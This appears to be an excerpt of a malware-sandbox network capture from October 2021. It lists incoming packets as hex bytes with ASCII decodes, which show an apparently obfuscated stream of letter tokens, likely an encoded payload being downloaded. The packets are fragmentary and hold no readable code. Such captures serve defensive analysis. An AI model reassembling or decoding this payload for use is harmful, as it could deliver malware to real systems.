2021-10-29 18:29:49 UTC	62	IN	Data Raw: 71 4a 20 71 71 45 20 71 4f 4d 20 71 45 4d 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 6d 70 20 6d 58 20 57 6d 20 58 6d 20 71 44 71 20 71 71 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 6d 58 20 58 6d 20 71 71 6d 20 71 71 45 20 71 58 4f 20 71 71 6d 20 57 4f 20 6d 58 20 4a 70 45 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 4a 70 20 6d 4d 20 57 4f 20 57 6d 20 71 4a 44 20 71 71 6d 20 71 71 Data Ascii: qJ qqE qOM qEM mX mX WO Wp Xm qqm qqE MX qqJ WO mM mX Wm Xm qqm qOq qOM qqJ WO Jmp mX Wm Xm qDq qqM qOM qqJ WD mX WO Wm Xm qqm qqE qOM qqJ WO mX WO mX Xm qqm qqE qXO qqm WO mX JpE WJ Xm qqm qqX qOM qqJ WO WX WO Wm XW qOW DM qOW qqJ qJp mM WO Wm qJD qqm qq
2021-10-29 18:29:49 UTC	63	IN	Data Raw: 20 71 4a 4f 20 71 44 4d 20 71 4a 6d 20 71 71 45 20 70 71 20 70 4a 20 57 70 20 70 4d 20 58 4f 20 71 71 70 20 71 71 70 20 44 4d 20 4a 4a 6d 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 44 44 20 71 71 6d 20 71 71 45 20 45 4f 20 71 4a 70 20 57 4d 20 4d 57 20 44 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 58 58 20 4a 57 57 20 71 45 6d 20 57 44 20 57 45 20 70 4f 20 6d 58 20 4d 70 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 4a 70 44 20 57 70 20 71 71 6d 20 71 45 4a 20 71 71 45 20 71 4f 57 20 4d 4d 20 57 58 20 70 58 20 70 70 20 44 70 20 71 4a 45 20 58 70 20 71 4f 4f 20 71 4f 71 20 4d 45 20 57 4d 20 71 45 4f 20 70 70 20 44 4f 20 58 70 20 71 71 4a 20 71 4f 4f 20 71 4f 70 20 58 58 20 4a 70 70 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4f 20 71 71 45 Data Ascii: qJO qDM qJm qqE pq pJ Wp pM XO qqp qqp DM JJm WO mX WJ pO DD qqm qqE EO qJp WM MW DJ Wm Xm qJO XX JWW qEm WD WE pO mX Mp JM qJD qOM qqJ WD JpD JpD Wp qqm qEJ qqE qOW MM WX pX pp Dp qJE Xp qOO qOq ME WM qEO pp DO Xp qqJ qOO qOp XX Jpp mX WO DO qJm qOO qqE
2021-10-29 18:29:49 UTC	68	IN	Data Raw: 57 44 20 44 71 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 44 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 4a 20 71 4f 4f 20 70 20 71 44 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 58 71 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4a 4f 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 70 20 71 4a 6d 20 71 71 44 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 4a 71 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 58 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 58 20 6d 4f 20 6d 4f 20 4a 71 45 20 6d 4f 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 4a 4a 6d 20 4a 57 57 20 57 Data Ascii: WD Dq ED mO Xm qqm qJE qJD qqD ED mD WO Wm Mm ME qqJ qOO p qD mX WO DO qJm Xq qqE qOM qJJ Mp JO WO Wm Mm ME qqp qJm qqD mW Dp qMq qOX Xm qqm qqD EJ qDO JqW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM XO qOM qqJ WD JX mO mO JqE mO qqE qOM qqp Jp JJm JWW W
2021-10-29 18:29:49 UTC	72	IN	Data Raw: 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 44 20 71 71 4d 20 58 58 20 4d 44 20 6d 58 20 57 4f 20 44 4f 20 45 57 20 71 4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 70 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4a 45 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 4a 57 20 71 4f 45 20 70 20 71 4d 4d 20 6d 58 20 57 4f 20 6d 58 20 45 71 20 71 71 58 20 71 4f 4f 20 71 4f 57 20 4d 58 20 57 71 20 4a 6d 20 4a 71 4d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 70 71 20 71 71 4a 20 57 4f 20 57 6d 20 70 57 20 57 4f 20 44 45 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 70 44 20 6d 71 20 71 4a 44 20 4a 70 4d 20 44 20 Data Ascii: Wm Xm qqm qOD qqM XX MD mX WO DO EW qOq JmX WW qqJ WO mM Jp JpO qpO qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ JD JE WO Wm Mm ME qJW qOE p qMM mX WO mX Eq qqX qOO qOW MX Wq Jm JqM Wm Xm qJO JD qpq qqJ WO Wm pW WO DE JWW mE qOM qqJ Wq Jq pD mq qJD JpM D
2021-10-29 18:29:49 UTC	76	IN	Data Raw: 20 57 45 20 57 4f 20 45 4f 20 71 4a 6d 20 71 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 6d 20 6d 71 20 57 44 20 57 6d 20 70 44 20 71 4a 20 71 4f 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 6d 57 20 57 6d 20 58 6d 20 71 4a 4f 20 45 20 70 6d 20 71 4a 4a 20 57 4f 20 44 6d 20 44 6d 20 45 70 20 4d 6d 20 71 71 6d 20 57 20 71 4d 20 71 71 4f 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 71 71 20 6d 58 20 57 4f 20 44 4f 20 57 4d 20 71 70 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 44 44 20 71 58 4d 20 44 4f 20 58 6d 20 4a 20 45 20 71 6d 4a 20 71 4a 4a 20 57 4f 20 44 6d 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 71 71 71 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 44 20 71 71 6d 20 71 71 Data Ascii: WE WO EO qJm qE qqE qOM qJJ Dm mq WD Wm pD qJ qOE qOM qqJ WD MW mW Wm Xm qJO E pm qJJ WO Dm Dm Ep Mm qqm W qM qqO WO mX WD pO EW qqm qqE qOp XX qq mX WO DO WM qpO qqE qOM qqX Jp DD qXM DO Xm J E qmJ qJJ WO Dm ED mO Xm qqm qJE DM qqq WO mX WD pO ED qqm qq
2021-10-29 18:29:49 UTC	80	IN	Data Raw: 58 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 58 44 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 71 20 4d 57 20 71 4d 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 71 57 20 58 57 20 4a 4a 44 20 57 4f 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 71 4f 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 57 70 20 57 44 20 71 4f 44 20 71 58 57 20 71 4f 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 71 71 20 4a 45 20 6d 58 20 57 4f 20 57 4f 20 44 4d 20 71 4a 57 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 71 71 20 70 6d 20 6d 58 20 57 4f 20 57 4f Data Ascii: X mX WO WJ mE XD qqE qOM qqD Mq MW qMJ Wm Xm qJO JqW XW JJD WO mX WO WJ mE qOJ qqE qOM qqD Wp WD qOD qXW qOO qqm qqE qqq qq JE mX WO WO DM qJW qOD ME JWp qOm mX WO WW qqp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq qq pm mX WO WO
2021-10-29 18:29:49 UTC	84	IN	Data Raw: 20 4d 4f 20 71 71 4a 20 57 4f 20 57 58 20 44 57 20 71 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 70 4f 20 57 4f 20 6d 58 20 57 44 20 57 4a 20 6d 45 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 44 20 70 57 20 57 58 20 70 57 20 57 4d 20 71 4a 20 4d 4d 20 71 4a 70 20 71 4a 70 20 4a 70 4f 20 71 4f 44 20 70 70 20 44 4f 20 70 70 20 71 4d 6d 20 6d 4a 20 71 4f 4f 20 4d 4d 20 71 4f 6d 20 71 44 6d 20 71 4f 6d 20 70 57 20 57 44 20 45 45 20 4a 4a 58 20 6d 57 20 6d 20 4d 45 20 44 4f 20 6d 4a 20 71 44 6d 20 4d 57 20 57 4d 20 71 4a 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 4a 6d 20 57 4f 20 57 6d 20 58 4f 20 45 6d 20 4a 70 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 45 70 20 57 45 20 58 6d 20 71 71 6d 20 71 71 70 20 71 71 45 20 4a 44 20 71 20 71 71 58 20 Data Ascii: MO qqJ WO WX DW qm Xm qqm qJE DM pO WO mX WD WJ mE MX qqE qOM qqD pW WX pW WM qJ MM qJp qJp JpO qOD pp DO pp qMm mJ qOO MM qOm qDm qOm pW WD EE JJX mW m ME DO mJ qDm MW WM qJX qqE qOM qJJ EM Jm WO Wm XO Em JpW qOM qqJ WO WO Ep WE Xm qqm qqp qqE JD q qqX
2021-10-29 18:29:49 UTC	88	IN	Data Raw: 44 20 58 4a 20 57 4f 20 57 6d 20 4d 6d 20 58 58 20 4d 4d 20 71 71 4f 20 71 4f 6d 20 4a 4f 6d 20 6d 4d 20 4a 6d 20 57 6d 20 58 6d 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 44 45 20 6d 58 20 57 4f 20 57 6d 20 71 71 71 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 57 20 4d 70 20 71 57 70 20 57 71 20 57 6d 20 58 4a 20 71 4f 71 20 4a 6d 58 20 57 70 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 70 58 20 71 45 4a 20 71 71 6d 20 71 4f 4d 20 4f 20 71 6d 6d 20 70 4d 20 4d 70 20 71 4a 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 70 20 57 71 20 6d 4d 20 57 4f 20 44 4f 20 58 4a 20 71 4f 4f 20 4a 70 4d 20 71 4f 45 20 71 4f 70 20 71 44 58 20 4a 6d 20 58 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 70 20 71 71 71 20 71 71 70 20 57 4f 20 57 58 20 44 57 20 57 70 Data Ascii: D XJ WO Wm Mm XX MM qqO qOm JOm mM Jm Wm Xm qOW DM qOm qqJ DE mX WO Wm qqq qqm qqE qJm qqW Mp qWp Wq Wm XJ qOq JmX Wp qqJ WO mM Jp pJ pX qEJ qqm qOM O qmm pM Mp qJO Xm qqm qJE qOp p Wq mM WO DO XJ qOO JpM qOE qOp qDX Jm Xq Wm Xm qJO Mp qqq qqp WO WX DW Wp
2021-10-29 18:29:49 UTC	92	IN	Data Raw: 45 4f 20 71 71 4a 20 71 70 4d 20 71 4a 4f 20 44 45 20 57 4f 20 6d 58 20 6d 71 20 44 4a 20 71 4a 45 20 57 4d 20 71 71 20 71 4a 70 20 71 71 70 20 57 4f 20 57 4a 20 4a 70 20 4a 45 20 44 45 20 58 6d 20 71 71 20 71 4a 71 20 71 71 70 20 57 4f 20 57 4a 20 4a 4f 6d 20 6d 58 20 45 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 6d 71 20 6d 4d 20 57 4f 20 44 4f 20 71 71 70 20 4a 6d 4a 20 4d 4d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 58 4d 20 58 4f 20 44 6d 20 71 4a 6d 20 4a 4f 20 70 6d 20 6d 58 20 4a 4f 4f 20 44 57 20 44 57 20 71 71 45 20 71 4f 4d 20 71 4f 45 20 57 58 20 4a 45 20 70 44 20 6d 58 20 71 45 4f 20 71 71 44 20 71 4f 4d 20 71 71 71 20 71 71 4a 20 57 4a 20 44 45 20 6d 45 20 57 57 20 58 6d 20 71 4a 4f 20 4d 70 20 45 45 20 71 Data Ascii: EO qqJ qpM qJO DE WO mX mq DJ qJE WM qq qJp qqp WO WJ Jp JE DE Xm qq qJq qqp WO WJ JOm mX EJ qqJ qqE qOE p mq mM WO DO qqp JmJ MM qOX qqJ Wm Jm mW Wm Xm XM XO Dm qJm JO pm mX JOO DW DW qqE qOM qOE WX JE pD mX qEO qqD qOM qqq qqJ WJ DE mE WW Xm qJO Mp EE q
2021-10-29 18:29:49 UTC	95	IN	Data Raw: 71 4a 45 20 4a 4f 45 20 58 57 20 70 45 20 70 4d 20 70 58 20 70 4f 20 4a 70 4a 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4a 71 4f 20 4a 70 20 6d 4f 20 70 45 20 70 6d 20 71 4a 6d 20 4a 4f 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 70 20 70 4a 20 44 6d 20 4d 4f 20 4a 4f 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 71 6d 44 20 4a 44 20 71 70 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 71 20 6d 58 20 57 44 20 71 58 4a 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 57 20 71 6d 20 6d 45 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 6d 58 20 71 71 44 20 71 4f 4d 20 71 4a 4a 20 45 44 20 6d 57 20 57 71 20 57 6d 20 58 4f 20 71 4a 4a 20 4d 4d 20 71 4a 70 20 70 20 71 71 70 20 6d 4d 20 57 4f 20 44 4f 20 44 44 20 71 4f 4f 20 44 20 6d 44 20 71 71 70 20 Data Ascii: qJE JOE XW pE pM pX pO JpJ qqm qqE qOp JqO Jp mO pE pm qJm JOD qqE qOM qJJ qmm Jq mp pJ Dm MO JOq qOM qqJ WD qmD JD qpM Xm qqm qJE DM mM Wq mX WD qXJ Ep qqW qqE qOW qm mE mM WO WO mE mX qqD qOM qJJ ED mW Wq Wm XO qJJ MM qJp p qqp mM WO DO DD qOO D mD qqp
2021-10-29 18:29:49 UTC	100	IN	Data Raw: 20 45 45 20 6d 58 20 6d 4d 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 71 20 71 71 4a 20 4a 58 20 6d 58 20 71 4f 58 20 71 58 44 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 57 4f 20 71 45 20 58 6d 20 70 20 4a 70 45 20 71 4f 4d 20 71 4a 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 44 20 71 71 6d 20 58 57 20 71 4f 4d 20 4a 6d 6d 20 71 57 4f 20 6d 58 20 57 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 71 57 4a 20 71 70 6d 20 58 6d 20 71 71 70 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 70 20 4a 20 57 71 20 58 6d 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4a 71 20 6d 58 20 57 4f 20 70 4d 20 70 4d 20 4a 71 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 20 44 Data Ascii: EE mX mM DO Xm qqm qqD qqq qqJ JX mX qOX qXD Xm qJO qqE qOM qqJ WO WO WO qE Xm p JpE qOM qJJ WO mX WO Wm XD qqm XW qOM Jmm qWO mX WD Wm Xm qqm qqE qOM qqJ WJ mX qWJ qpm Xm qqp qJE qOM qqJ Wq mp J Wq Xm qDW qqE qOM qqJ qJq mX WO pM pM JqD qqE qOM qJJ WD D
2021-10-29 18:29:49 UTC	104	IN	Data Raw: 6d 20 57 4f 20 6d 58 20 57 4f 20 71 57 20 58 6d 20 71 71 6d 20 71 71 45 20 44 6d 20 71 71 70 20 57 4f 20 6d 58 20 58 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 57 44 20 71 71 57 20 71 71 45 20 71 4f 4d 20 4a 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 71 20 44 20 58 71 20 71 71 6d 20 4a 6d 4f 20 71 71 71 20 71 71 4a 20 57 4f 20 71 4a 45 20 57 4f 20 57 6d 20 44 4d 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 71 58 20 71 58 45 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 Data Ascii: m WO mX WO qW Xm qqm qqE Dm qqp WO mX Xm WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm WD qqW qqE qOM J Wq mX WO Wp Xm qqm qqE qOp qqJ WO mM mq D Xq qqm JmO qqq qqJ WO qJE WO Wm DM q JqO qOM qqJ WD WX qX qXE Xm qqm qqE JJm mJ WO mX Wq q
2021-10-29 18:29:49 UTC	108	IN	Data Raw: 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 70 44 20 71 71 4a 20 71 45 58 20 4a 6d 4d 20 57 4f 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 6d 20 57 4f 20 71 44 57 20 71 4a 4d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 71 45 6d 20 71 6d 4f 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 71 4f 58 20 6d 4d 20 57 4f 20 57 6d 20 6d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 6d 4d 20 6d 58 20 57 4f 20 44 4f 20 4d 6d 20 71 4f 4d 20 45 4f 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 6d 20 Data Ascii: Wm Xm qqJ qqE pD qqJ qEX JmM WO DO Xm qqm qqE qOM qqm WO qqm WO qDW qJM qqm qJE qOM qqJ WO mX WO Wm XJ qqm qEm qmO qqJ mM WX WO Wm XW qOW DM qOm qqJ qOX mM WO Wm m qqm qqE qJm p qmM mX WO DO Mm qOM EO JJm mJ WO mX Wq qM qpJ qDW qqE qOM qqD JD E WO Wm Mm
2021-10-29 18:29:49 UTC	112	IN	Data Raw: 6d 20 71 4a 4f 20 4a 44 20 71 58 58 20 71 71 4a 20 57 4f 20 57 58 20 57 4a 20 6d 71 20 4d 4f 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 6d 57 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 4a 4a 45 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 45 20 57 70 20 70 4f 20 44 4a 20 58 71 20 4a 57 4a 20 58 4d 20 71 4f 57 20 71 71 44 20 6d 4d 20 71 20 6d 58 20 6d 4d 20 71 4a 44 20 71 71 6d 20 71 71 4d 20 44 4d 20 71 44 4a 20 57 4f 20 6d 58 20 57 44 20 57 58 20 44 44 20 71 4a 45 20 45 45 20 71 4a 6d 20 71 71 70 20 57 4f 20 6d 58 20 57 58 20 44 70 20 4a 4f 44 20 4d 45 20 71 71 70 20 71 Data Ascii: m qJO JD qXX qqJ WO WX WJ mq MO JWW mE qOM qqJ Wq Jq JJD JmW Xm qqm qqp DM Eq WO mX WD DM qOX qqm qqE qOp pq JJE mX WO DO pM Jqp qqE qOM qJJ WE Wp pO DJ Xq JWJ XM qOW qqD mM q mX mM qJD qqm qqM DM qDJ WO mX WD WX DD qJE EE qJm qqp WO mX WX Dp JOD ME qqp q
2021-10-29 18:29:49 UTC	116	IN	Data Raw: 20 58 44 20 71 71 70 20 58 20 4d 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 45 70 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 58 4a 20 6d 58 20 57 71 20 45 4d 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 71 71 4f 20 6d 58 20 45 Data Ascii: XD qqp X Mm qqJ WO WJ Jm mO XD M DW qOM qqJ Wm JD qD WJ XE qW DW qOM qqJ Wm JD mm WJ mE Eq qqE qOM qqD Jm qX mX Wp mq Eq qqE qOM qqD Jm mD mX EE MX qqm qqE qOW MO qD WO mM EW MX qqm qqE qOW MO mm WO Ep q Xm qqm qqp Eq XJ mX Wq EM q Xm qqm qqp Eq qqO mX E
2021-10-29 18:29:49 UTC	120	IN	Data Raw: 20 71 71 4a 20 57 4f 20 57 58 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 4a 44 20 58 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4f 20 6d 58 20 45 57 20 45 45 20 57 6d 20 58 6d 20 71 71 58 20 4d 57 20 45 4d 20 71 71 6d 20 6d 4d 20 45 45 20 45 45 20 57 6d 20 58 6d 20 71 Data Ascii: qqJ WO WX Jm mO XD M M qOM qqJ Wm JD qD WJ XE qW M qOM qqJ Wm JD mm WJ mE qW qqE qOM qqD Jm qX mX Wp mq qW qqE qOM qqD Jm mD mX EE mJ qqm qqE qOW MO qD WO mM EW mJ qqm qqE qOW MO mm WO JD Xm Xm qqm qJE Eq qqO mX EW EE Wm Xm qqX MW EM qqm mM EE EE Wm Xm q
2021-10-29 18:29:49 UTC	124	IN	Data Raw: 4a 4f 20 71 44 4d 20 71 45 4d 20 71 71 57 20 4a 4f 20 4a 70 58 20 57 4f 20 70 44 20 58 44 20 4d 4f 20 4a 71 57 20 71 4f 58 20 71 71 4a 20 57 44 20 71 4f 20 71 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 4d 4d 20 4d 58 20 6d 58 20 4a 4f 44 20 70 44 20 71 71 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 4a 20 71 4a 70 20 57 4f 20 6d 58 20 57 44 20 4a 70 6d 20 58 44 20 71 20 4a 70 58 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 57 20 57 58 20 70 4d 20 4d 4a 20 4d 4f 20 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 71 45 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 4f 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4a 6d 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 58 20 6d 45 20 4a 4f 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 Data Ascii: JO qDM qEM qqW JO JpX WO pD XD MO JqW qOX qqJ WD qO qJO JOq qEq qmq qEq MM MX mX JOD pD qqm Xm qqm qqO J qJp WO mX WD Jpm XD q JpX qOX qqJ WJ pW WX pM MJ MO M qOM qqJ WD WW Mp qEE Xm qqm qJE J O WO mX WD XM JmD qqW qqE qOE ME WX mE JO qXE qm qqm qqE qOX X
2021-10-29 18:29:49 UTC	127	IN	Data Raw: 70 4f 20 57 6d 20 71 70 4f 20 45 58 20 71 71 44 20 71 71 45 20 45 45 20 71 71 44 20 71 70 6d 20 6d 4a 20 4a 4d 20 57 6d 20 6d 71 20 45 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 4f 20 4a 6d 57 20 4a 4d 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 45 71 20 58 4a 20 44 44 20 4a 58 20 57 4a 20 57 6d 20 71 70 6d 20 71 71 70 20 57 20 44 57 20 71 71 58 20 57 4f 20 71 6d 4f 20 57 4a 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 4a 70 58 20 58 57 20 71 6d 45 20 57 20 44 4f 20 57 6d 20 4a 57 4f 20 44 45 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 4d 58 20 71 20 45 58 20 71 71 4f 20 71 71 44 20 71 71 45 20 4a 6d 6d 20 58 4f 20 44 44 20 4a 58 20 44 4f 20 57 6d 20 71 58 57 20 71 4f 4d 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 57 70 20 4a 20 71 4d 58 Data Ascii: pO Wm qpO EX qqD qqE EE qqD qpm mJ JM Wm mq EO qqE qOM qqX WO JmW JM EO qJO qqD qqE Eq XJ DD JX WJ Wm qpm qqp W DW qqX WO qmO WJ EO qJO qqD qqE JpX XW qmE W DO Wm JWO DE qmW EO qqX WO qMX q EX qqO qqD qqE Jmm XO DD JX DO Wm qXW qOM qmW EO qqX WO qWp J qMX
